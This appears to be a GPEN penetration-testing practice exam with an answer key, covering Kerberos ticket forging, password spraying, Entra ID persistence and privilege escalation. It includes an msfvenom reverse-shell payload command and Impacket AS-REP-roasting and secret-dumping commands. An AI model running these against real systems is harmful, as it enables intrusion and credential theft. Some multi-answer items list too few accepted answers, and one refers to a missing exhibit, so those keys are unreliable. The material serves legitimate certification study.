GPEN Practice Test 23 — 15 Questions

Question 1

Which of the following is a primary advantage of using a 'Golden Ticket' attack over other credential-based attacks?

Accepted Answer

It provides persistent access even after the user changes their password.. A Golden Ticket attack involves the compromise of the KRBTGT account, which is the master account for the Kerberos service in a domain. This allows an attacker to forge TGTs that can request access to any resource. Because the attacker controls the TGT, they can grant themselves administrative privileges and bypass standard password changes, making it a highly persistent and difficult-to-detect method of maintaining domain control.

Answer

It does not require administrative privileges to execute.

Answer

It is easily detectable by standard antivirus software.

Answer

It is limited to a single service on the network.

Question 2

Which of the following is a primary goal during the 'Exploitation' phase of a penetration test?

Accepted Answer

To gain unauthorized access or influence target systems.. The primary goal during exploitation is to prove the existence of a vulnerability by successfully executing code or accessing unauthorized data. It is not just about finding the vulnerability; it is about demonstrating its impact. This confirms the risk to the client and allows for a more accurate assessment of the potential consequences if the flaw were exploited by a real-world attacker.

Answer

To document all vulnerabilities found.

Answer

To scan the entire network for open ports.

Answer

To patch the vulnerabilities identified.

Question 3

A penetration tester needs to generate a standalone Windows executable payload that will connect back to the tester's machine at 10.10.14.5 on port 4444. The tester wants to avoid depending on the Metasploit console during payload generation. Which msfvenom command should be used?

Accepted Answer

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o payload.exe. The correct msfvenom syntax requires -p to specify the payload, LHOST for the callback IP address, LPORT for the callback port, -f for the output format, and -o for the output file. The windows/meterpreter/reverse_tcp payload with LHOST=10.10.14.5 and LPORT=4444 produces the desired executable. Swapping LHOST and LPORT or choosing a bind or plain shell payload fails to meet the scenario.

Answer

msfvenom -p windows/meterpreter/reverse_tcp LHOST=4444 LPORT=10.10.14.5 -f exe -o payload.exe

Answer

msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o payload.exe

Answer

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o payload.exe

Question 4

Which of the following describes the risk of 'Guest User' accounts in an Azure AD integration scenario?

Accepted Answer

Guest users can potentially enumerate directory objects unless restricted.. Guest accounts in Microsoft Entra ID often have default permissions that allow them to enumerate directory objects. If these guests are not properly scoped using 'External Collaboration Settings', an attacker can use a compromised guest account to map the internal organizational structure, identify high-value targets, and find misconfigured applications. This reconnaissance is often the first step in a broader, more successful targeted attack against the internal environment.

Answer

Guest users are automatically granted Global Administrator privileges.

Answer

Guest accounts can only be created by the Global Administrator.

Answer

Guest users are exempt from Conditional Access policies.

Question 5

A penetration tester is conducting a password attack against a Windows Active Directory environment. The tester has obtained a list of usernames and wants to perform a password spraying attack to avoid account lockouts. Which two considerations are most important when executing this attack? (Choose two.)

Accepted Answer

Use a small number of common passwords across many accounts.. Password spraying aims to avoid lockouts by trying a few common passwords across many accounts. The two most important considerations are using a small number of common passwords and ensuring the lockout threshold is not exceeded for any account. These directly address the goal of avoiding lockouts while maximizing coverage. The other options either describe brute-force tactics or focus on evasion rather than the fundamental spraying methodology.

Answer

Perform the attack during non-business hours to avoid detection.

Answer

Target only privileged accounts to maximize impact.

Answer

Use a large list of unique passwords for each account.

Question 6

When attempting to escalate privileges on a Linux system, what is the significance of the SUID bit on a file owned by root?

Accepted Answer

It permits the file to execute with the owner's privileges.. The SUID (Set User ID) bit allows a file to execute with the permissions of the file owner rather than the user executing it. If an attacker identifies a SUID file owned by root, they can potentially manipulate the execution flow to gain a root shell. This is a primary target for privilege escalation, as it permits users to circumvent standard permission constraints during execution.

Answer

It forces the file to run within a restricted sandbox environment.

Answer

It enables the file to be readable by all users on the system.

Answer

It automatically encrypts the file contents at rest.

Question 7

A penetration tester has obtained a set of Linux shadow file hashes. The hashes begin with $6$ and the tester intends to perform an offline brute-force attack using Hashcat. Which mode should the tester select to ensure Hashcat correctly interprets these hashes?

Accepted Answer

1800 (sha512crypt). The $6$ prefix in a Linux shadow file indicates the sha512crypt algorithm, which is supported by Hashcat mode 1800. Choosing the correct mode is essential because Hashcat must parse the hash structure, including salt and iteration count, to perform the attack. Other modes correspond to different algorithms and will not work with this hash type.

Answer

500 (md5crypt)

Answer

3200 (bcrypt)

Answer

1000 (NTLM)

Question 8

A penetration tester is analyzing a Kerberos attack that involved forging a ticket to gain access to a specific server. The ticket was encrypted with the server's machine account hash and did not involve communication with the domain controller. Which type of attack does this describe?

Accepted Answer

Silver Ticket. A Silver Ticket is a forged service ticket encrypted with the target service's key, allowing access without contacting the DC. Golden Tickets are forged TGTs encrypted with the krbtgt hash. Kerberoasting and AS-REP Roasting involve requesting legitimate tickets for offline cracking, not forging. Thus, the description matches a Silver Ticket.

Answer

Golden Ticket

Answer

AS-REP Roasting

Answer

Kerberoasting

Question 9

Why is 'Password Writeback' considered a significant security risk in hybrid identity integrations?

Accepted Answer

It allows cloud-based compromise to escalate into the on-premises domain.. Password Writeback enables the cloud to update passwords on-premises. While convenient, it creates a bidirectional path. If an attacker gains control of a cloud-based administrator account, they can reset the password of any on-premises user, including sensitive accounts. This effectively elevates the cloud's influence over the on-premises environment, turning a cloud-only compromise into a full-scale domain-wide security disaster.

Answer

It stores plaintext passwords on the Azure AD Connect server.

Answer

It requires the on-premises firewall to allow inbound connections from the internet.

Answer

It automatically disables the on-premises password policy.

Question 10

When analyzing a hybrid identity environment, you notice the use of 'Seamless Single Sign-On'. What is the potential impact if the 'AZUREADSSOACC' computer object in the on-premises Active Directory is compromised?

Accepted Answer

The attacker can generate valid Kerberos tickets to facilitate cloud authentication.. The AZUREADSSOACC object is a computer account created in AD with a Kerberos service principal name. If compromised, an attacker can request Kerberos tickets to impersonate users or potentially extract the decryption key. This allows the attacker to silently authenticate as others to the cloud, bypassing the need for secondary checks, making it a critical pivot point in hybrid identity attacks.

Answer

The attacker can directly modify the Azure AD tenant settings.

Answer

The attacker can permanently disable synchronization between on-premises and cloud.

Answer

All password hash synchronization processes will immediately cease.

Question 11

Refer to the exhibit. Which command allows the tester to switch their interaction focus from session 1 to session 2?

Accepted Answer

sessions -i 2. Managing multiple sessions is a common task in professional penetration tests where an attacker may have compromised several machines. The 'sessions -i' command is the standard way to switch the console interface to a different active session. Being able to quickly toggle between sessions is essential for maintaining control over multiple compromised systems simultaneously without needing to manually reconnect to each one.

Answer

sessions -s 2

Answer

switch 2

Answer

use session 2

Question 12

You have obtained domain administrator credentials during a penetration test. To maintain stealthy persistence on a Windows domain controller, you decide to abuse Kerberos. Which method allows you to authenticate as any user without knowing their password, and is a known persistence technique?

Accepted Answer

Golden Ticket attack using the KRBTGT account hash.. The Golden Ticket attack is a powerful persistence technique because it allows an attacker with the KRBTGT hash to forge TGTs for any user, including domain admins, without needing their passwords. This access persists until the KRBTGT password is changed twice, making it highly stealthy and long-lasting.

Answer

Silver Ticket attack using a service account hash.

Answer

Skeleton Key attack by patching LSASS on the domain controller.

Answer

DCSync attack to replicate domain controller secrets.

Question 13

When planning an exploit that requires a specific memory address, which THREE techniques can a tester use to increase the reliability of the exploit?

Accepted Answer

Heap spraying to fill memory with the payload.. Memory reliability is the primary hurdle in binary exploitation. Techniques like heap spraying, NOP sleds, and ROP gadgets are designed to circumvent the uncertainty of memory addresses. By using these methods, a tester creates a more robust exploit that does not rely on perfect, single-point accuracy, which is almost impossible to achieve in modern systems with complex memory management and various active security mitigations.

Answer

Disabling the target's operating system logging.

Answer

Increasing the network MTU size.

Question 14

A penetration tester gains Global Administrator privileges in a Microsoft Entra ID tenant and needs to establish persistent access that survives credential resets and standard administrative remediation. Which TWO methods can the tester implement to maintain covert administrative access?

Accepted Answer

Registering a new multi-tenant application with Graph API application permissions such as Directory.AccessAsUser.All or RoleManagement.ReadWrite.Directory.. Persistent access in Microsoft Entra ID often relies on abusing application permissions and service principals rather than traditional user accounts. By creating a malicious application registration with high-privilege Microsoft Graph API permissions or injecting a rogue federated domain trust, an attacker ensures long-term access that remains unaffected by standard user password resets or typical admin auditing.

Answer

Creating a new custom user account with an elevated administrative role and a static password that never expires.

Answer

Injecting unauthorized security group membership changes directly into the on-premises Active Directory synchronized container.

Answer

Enabling device registration writeback to push malicious device objects from the cloud directory into local organizational units.

Question 15

During an internal penetration test, you have obtained cleartext credentials for a low-privileged Active Directory user. You want to enumerate which user accounts do not require Kerberos preauthentication so you can request AS-REP messages and crack them offline. Which Impacket tool and command should you use?

Accepted Answer

GetNPUsers.py -request -dc-ip 10.0.0.1 domain/user:password. AS-REP Roasting targets accounts that have Kerberos preauthentication disabled. The Impacket script GetNPUsers.py with the -request flag queries the domain for such accounts and requests an AS-REP for each, which can then be cracked offline. The other tools serve different purposes: GetUserSPNs.py is for Kerberoasting, secretsdump.py extracts secrets from hosts, and ticketer.py forges tickets.

Answer

ticketer.py -nthash <hash> -domain domain.local -dc-ip 10.0.0.1 user

Answer

GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password

Answer

secretsdump.py domain/user:password@10.0.0.1